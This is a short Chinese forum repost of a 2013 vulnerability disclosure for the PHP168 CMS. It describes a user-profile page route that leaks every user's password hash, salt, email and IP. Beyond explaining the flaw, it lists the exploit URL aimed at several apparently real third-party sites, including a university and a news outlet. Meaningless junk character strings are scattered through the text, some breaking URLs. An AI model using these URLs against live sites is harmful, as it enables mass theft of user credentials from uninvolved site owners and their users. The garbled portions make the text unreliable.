|
简要描述： 国微PHP168中出现了一处神奇的array，可致全站用户数据泄露。泄露的内容包括全站用户的密码密文、邮箱、密码salt、IP等敏感信息。 详细说明：PHP168程序内置“用户”模块包含用户个人资料展示页面。在很多实际场景中，这个页面不会在前台使用，但可直接通过URL进行访问。页面路由为：/homepage.php/[用户名]/member-profile
- z: Z3 v5 w0 a$ t& R e6 @6 }: V& g
以PHP168官方演示站点为例，查看任意用户信息的页面链接为：
, l. Z, P% E$ N: v5 f! W' J7 [. z, B3 V
http://php168.cn/com/homepage.php/admin/member-profile
, R9 t! z; F) L) |3 m& X) V2 H2 ^8 n+ k; L8 g% Y( c0 Q* @
由于该模块代码中出现了一句神奇的array，导致用户数据表内所有数据被当作数组取出直接显示出来。
; c2 J. n* ]/ x* khttp://www.myhack58.com/Article/UploadPic/2013-9/2013920918425520.jpg
+ T8 C$ H0 @3 q2 U' U; x7 S4 c3 ~9 s$ c: [- ^ D; ]
漏洞证明：该漏洞影响使用该CMS系统的站点，以PHP168官网上的客户案例为例：
3 w1 S/ W, e' _4 ?7 L1 i6 S& f- ?0 D* A7 D& p# [
http://www.zjfzol.com.cn/homepage.php/admin/member-profile
( d: b; W+ V- v5 l7 A% f* G5 N& j# v2 V, A6 @# H0 i7 K2 y' a
http://www.scswl.cn/homepage.php/admin/member-profile
6 x0 n' d: N9 r3 B
5 I2 g( n2 j3 f3 P; N8 \% Lhttp://www.tunet.edu.cn/homepage.php/admin/member-profile
, ?' C8 R1 y8 Q% a6 n! ]
# m7 i1 J) |- S4 ]http://www.itlead.com.cn/homepage.php/admin/member-profile- P' E) i* B( h( [. |* K' e
3 |# k. y# g$ I, Y7 Y9 T2 xhttp://www.aedp.cn/homepage.php/admin/member-profile
8 y0 J/ U) G/ w+ u1 S
' @# |' h. H4 `* o5 ~0 Jhttp://www.qianlongnews.com/homepage.php/test/member-profile
7 V- c5 ?6 Y& D1 s7 D: A" G- t. H3 v$ y) g* J* J
http://ny.zlxk.com/gov/homepage.php/admin/member-profile 修复方案：去掉输出 [/td][/tr]
2 I3 U# c$ o d[/table] | 
发表于 2013-9-21 16:02:53
收藏
支持
反对